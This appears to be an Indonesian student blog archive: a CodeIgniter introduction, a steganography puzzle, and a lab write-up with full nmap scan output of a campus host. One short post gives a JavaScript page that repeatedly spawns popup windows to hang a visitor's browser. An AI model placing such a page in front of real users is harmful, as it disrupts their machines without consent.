Belajar CodeIgniter

Posted: July 18, 2011 in Ilmu Komputer

Belajar CodeIgniter – Mengenal Framework dan MVC

pengenalan codeigniterApakah anda merasa melakukan coding yang berulang-ulang setiap project yang anda kerjakan? lupa harus mulai darimana ketika 1 bulan kemudian program anda menemui masalah dan harus dibenahi? atau anda dipusingkan ketika harus menambahkan fitur/modul dari program anda?

Mungkin sudah saatnya anda memikirkan menggunakan Framework mulai sekarang, dalam tulisan ini akan dibahas salah satu PHP Framework yaitu CodeIgniter. apa itu codeigniter, mengapa codeigniterdan, bagaimana codeigniter bekerja, apa kekurangan codeigniter dan apakah codeigniter cocok buat anda?, mari kita bahas satu persatu.

Apa itu CodeIgniter?

CodeIgniter adalah sebuah application framework opensource untuk bahasa pemrograman PHP yang bertujuan untuk membuat proses develop sebuah aplikasi/project menjadi lebih mudah dan cepat, daripada harus mengerjakan semuanya dari dasar.

Dengan tersedianya sekumpulan library untuk proses-proses yang umum codeigniter memberikan anda fokus lebih hanya kepada logic project yang sedang anda kerjakan bukan kepada proses-proses dasar dari pemrograman itu sendiri.

Mengapa CodeIgniter?

Banyak sekali pilihan framework untuk anda pilih diluar sana tapi mengapa harus codeigniter, tentu anda plus minusnya.

Kelebihan CodeIgniter:
1. Dokumentasi Lengkap
Bisa dibilang dokumentasi codeigniter sangat lengkap sangat mudah dipahami, tidak hanya berupa list dari method-method yang ada di codeigniter, tapi lebih seperti sebuah ensiklopedia ditambah dengan contoh penggunaannya.

2. Plug & Play
Tentu tidak sedikit framework yang pada tahap instalasi saja sudah memusingkan anda, belum lagi ada yang mengharuskan anda mempunyai role sebagai system administrator, tentu ini tidak memungkinkan jika kita pakai jasa share hosting. Tidak dengan CodeIgniter, cukup setting config.php dan that is it… CodeIgniter Installation Alakadarnya :p

3. Small Simple Yet Fast
CodeIgniter bukanlah Framework kelas Enterprise yang BESAR dan BERAT, framework ini didesain untuk pengembangan aplikasi kelas menengah tapi… jika anda ingin meng-extend CodeIgniter lebih JAUH lagi telah tersedia plugin untuk anda pilih sesuai kebutuhan.

4. Model – View – Controller
Dengan Model View Controller (MVC) design pattern ini akan memudahkan kita untuk meng-organize aplikasi kita. Model hanya mengurusi hal-hal yang berhubungan dengan database, Controller berisi logic dari aplikasi kita dan View untuk tampilan frontend.

5. Small Learning Curve
Dengan dokumentasi yang bisa dibilang sangat bagus dan jelas proses belajar framework ini menjadi sangat mudah dan menyenangkan (programmer kan juga butuh proses pembelajaran yg menyenangkan).

Bagaimana CodeIgniter Bekerja?

Sudah sedikit kita ketahui kalau CodeIgniter menggunakan MVC design pattern, dan untuk lebih detil seperti apa flow control dari framework ini :

codeigniter flow control

Semua dimulai dari request lewat browser (index.php) lalu di proses oleh Router dan jika ada cache untuk request tersebut maka langsung tampil ke browser, jika tidak maka lanjut untuk di filter oleh Security dan masuk ke Controller untuk di proses. Di Controller akan berinteraksi dengan Model, Plugin dll jika memang memerlukannya saja.

Begitu Controller selesai dengan segala prosesnya akan di parse ke View atau bisa juga dibilang template dan ditampilkan ke browser.

Kekurangan CodeIgniter

1. Meskipun Open Source CodeIgniter tidak dikembangkan oleh komunitas tapi oleh EllisLab (pengembang Expression Engine) sehingga membuat update dari core engine tidak secepat Framework yang dikembangkan oleh komunitas.

2. Jika terjadi error yang berhubungan dengan Framework, mau tidak mau kita harus searching dan browsing masalah tersebut.

3. Bukan untuk kelas enterprise, meskipun bisa di extend dengan tersedianya banyak library dari komunitas.

4. Tidak ada support, tentu saja tidak ada support karena open source. Sebagai gantinya anda harus sering-sering mampir di forum-forum codeigniter.

Apa CodeIgniter Untuk Saya?

Untuk bagian ini saya kutipkan langsung dari dokumentasinya CodeIgniter. Jika anda memenuhi kriteria dibawah, artinya anda cocok untuk menggunakan CodeIgniter :D

1. You want a framework with a small footprint.
2. You need exceptional performance.
3. You need broad compatibility with standard hosting accounts that run a variety of PHP versions and configurations.
4. You want a framework that requires nearly zero configuration.
5. You want a framework that does not require you to use the command line.
6. You want a framework that does not require you to adhere to restrictive coding rules.
7. You are not interested in large-scale monolithic libraries like PEAR.
8. You do not want to be forced to learn a templating language (although a template parser is optionally available if you desire one).
9. You eschew complexity, favoring simple solutions.
10. You need clear, thorough documentation.

Bagaimana? apakah CodeIgniter cocok untuk anda? cocok atau tidak memang suatu saat nanti anda pasti harus mulai menggunakan framework entah itu CodeIgniter atau yang lainnya, sebagai tambahan saya tunjukkan kelebihan lain menggunakan framework.

kelebihan codeigniter

Jadi, apa ada yang bisa bantu saya menjelaskan apa yang dimaksud dengan gambar di atas?

Pada posting kali ini saya akan mencoba membuat serangan terhadap web browser yang ada. Salah satu serangan yang akan kita lakukan adalah dengan menampilkan popup window yang akan menghabiskan resource. Sehingga menyebabkan komputer atau laptop menjadi hang, sebelum di restart.

Berikut adalah coding program untuk membuat halaman web tersebut :

<HTML>
<HEAD>
<TITLE></TITLE>
<BODY>
<p>Attack terhadap web browser</p>
<SCRIPT LANGUAGE=”JavaScript”>
var a;
for (a=0;a<=10;a++) {
window.open(“attack.htm”);
}
</SCRIPT>
</BODY >
</HTML>

Simpan coding program dengan nama attack.htm, kemudian jalankan pada web browser internet explorer. Selamat Mencoba.

Jawaban Tugas Steganografi

Posted: April 2, 2011 in Kuliah

Gabungkan awalan kalimat pada setiap langkahnya. Petunjuk ada pada point terakhir. Hasilnya adalah:

“BEASISWA TURUN SENIN PAGI”

Tugas Steganografi

Posted: April 2, 2011 in Kuliah

Tips & Trik Merawat Laptop

  1. Buka enam baut yang berada di bagian bawah laptop
  2. Enam baut tersebut memiliki kode F4 pada setiap lubangnya
  3. Ambil sebuah obeng “+” untuk membuka setiap baut tersebut
  4. Setiap baut letaknya ada di pinggir body laptop dan urutan membukanya tidak begitu penting
  5. Intinya setiap baut tersebut harus terlepas dari lubangnya, setelah itu bukalah body laptop
  6. Siapkan sebuah kuas kecil untuk membersihkan debu pada bagian dalam laptop
  7. Warna mainboard akan terlihat hijau bersih kembali jika debu telah dibersihkan
  8. Apabila ingin membersihkan kerak yang menempel pada papan rangkaian mainboard
  9. Tuangkan sedikit alkohol untuk membersihkannya
  10. Untuk menjaga mainboard tetap kering, ambillah sedikit kapas untuk membersihkannya
  11. Ruas-ruas yang terdapat pada body laptop jangan sampai lupa dibersihkan
  12. Umur laptop anda akan lebih lama jika melakukan perawatan secara berkala
  13. Namun berhati-hatilah pada saat membersihkan, mainboard jangan sampai tergores
  14. Sebab akan berakibat kerusakan pada rangkaian mainboard
  15. Enam bulan sekali merupakan waktu yang ideal untuk melakukan perawatan ini
  16. Normalnya satu tahun sekali jika anda termasuk orang yang sibuk
  17. Item-item seperti baut yang tadi dilepas kumpulkan dalam satu wadah kecil agar tidak hilang
  18. Nomer seri yang terdapat pada body laptop jangan sampai terhapus pada saat dibersihkan
  19. Pasang kembali body laptop jika sudah selesai dibersihkan seluruhnya
  20. Ada enam baut yang harus tempatkan pada posisi semula
  21. Gunakan obeng “+” kembali untuk mengencangkan setiap baut tersebut
  22. Instruksi yang saya jelaskan harus sesuai dengan urutannya, hasilnya akan dapat anda lihat.

Sniffing dan Port Scaning

Posted: March 15, 2011 in Ilmu Komputer

Kali ini saya akan mencoba melakukan sniffing dan port scaning menggunakan tools seperti tcpdump, wireshark, dan sejenisnya pada 2 buah pc dengan menggunakan jaringan wireless. Ok langsung saja kepada prakteknya.

Langkah awal :

1. Jalan program wireshark pada komputer a (misal ip nya 167.205.60.102) untuk memonitor paket yang menuju komputer a.

2. Jalankan program Zenmap pada komputer b (misal ip nya 167.205.60.69) untuk melakukan port scaning pada komputer a.

3. Simpan hasil capture pada kedua komputer a dan b .

 

Hasil :

Pada komputer b yang menjalankan program Zenmap didapat hasil capture nya sebagai berikut :

Starting Nmap 5.51 ( http://nmap.org ) at 2011-03-15 13:00 SE Asia Standard Time
NSE: Loaded 57 scripts for scanning.
Initiating ARP Ping Scan at 13:00
Scanning 167.205.60.102 [1 port]
Completed ARP Ping Scan at 13:00, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:00
Completed Parallel DNS resolution of 1 host. at 13:00, 0.00s elapsed
Initiating SYN Stealth Scan at 13:00
Scanning hotspot-timur-102.itb.ac.id (167.205.60.102) [1000 ports]
Discovered open port 3306/tcp on 167.205.60.102
Discovered open port 443/tcp on 167.205.60.102
Discovered open port 139/tcp on 167.205.60.102
Discovered open port 445/tcp on 167.205.60.102
Discovered open port 135/tcp on 167.205.60.102
Discovered open port 80/tcp on 167.205.60.102
Discovered open port 3389/tcp on 167.205.60.102
Discovered open port 2869/tcp on 167.205.60.102
Discovered open port 5101/tcp on 167.205.60.102
Discovered open port 990/tcp on 167.205.60.102
Completed SYN Stealth Scan at 13:01, 5.68s elapsed (1000 total ports)
Initiating Service scan at 13:01
Scanning 10 services on hotspot-timur-102.itb.ac.id (167.205.60.102)
Completed Service scan at 13:03, 121.36s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against hotspot-timur-102.itb.ac.id (167.205.60.102)
NSE: Script scanning 167.205.60.102.
Initiating NSE at 13:03
Completed NSE at 13:03, 32.61s elapsed
Nmap scan report for hotspot-timur-102.itb.ac.id (167.205.60.102)
Host is up (0.0081s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.2.14 ((Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.2.14 ((Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
|_sslv2: server still supports SSLv2
|_http-title: Index of /
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
990/tcp  open  ftps?
2869/tcp open  http         Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
3306/tcp open  mysql        MySQL (unauthorized)
3389/tcp open  tcpwrapped
5101/tcp open  admdog?
MAC Address: E8:39:DF:25:55:39 (Askey Computer)

Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows

Host script results:
| nbstat:
|   NetBIOS name: CUMI, NetBIOS user: <unknown>, NetBIOS MAC: e3:32:df:25:55:39 (Askey Computer)
|   Names
|     CUMI<00>          Flags: <unique><active>
|     CUMI<20>          Flags: <unique><active>
|     WORKGROUP<00>        Flags: <group><active>
|_    WORKGROUP<1e>        Flags: <group><active>
|_smbv2-enabled: Server doesn’t support SMBv2 protocol
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Name: WORKGROUP\CUMI
|_  System time: 2011-03-15 13:03:03 UTC+7

TRACEROUTE

HOP RTT     ADDRESS
1   8.11 ms hotspot-timur-102.itb.ac.id (167.205.60.102)
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.97 seconds
Raw packets sent: 1109 (49.494KB) | Rcvd: 3425 (139.052KB)

Lalu pada komputer a yang menjalankan program wireshark didapat hasil capture sebagai berikut : Wireshark

Dari hasil capture wireshark yang telah didapat, dapat dilihat bahwa terbukti bahwa komputer b (167.205.60.96) melakukan port scaning terhadap komputer a (167.205.60.102).

  1. Jalankan tcpdump/wireshark di sebuah komputer (misal IP 192.168.1.7) dan monitor paket yang menuju ke komputer tersebut (dst 192.168.1.7)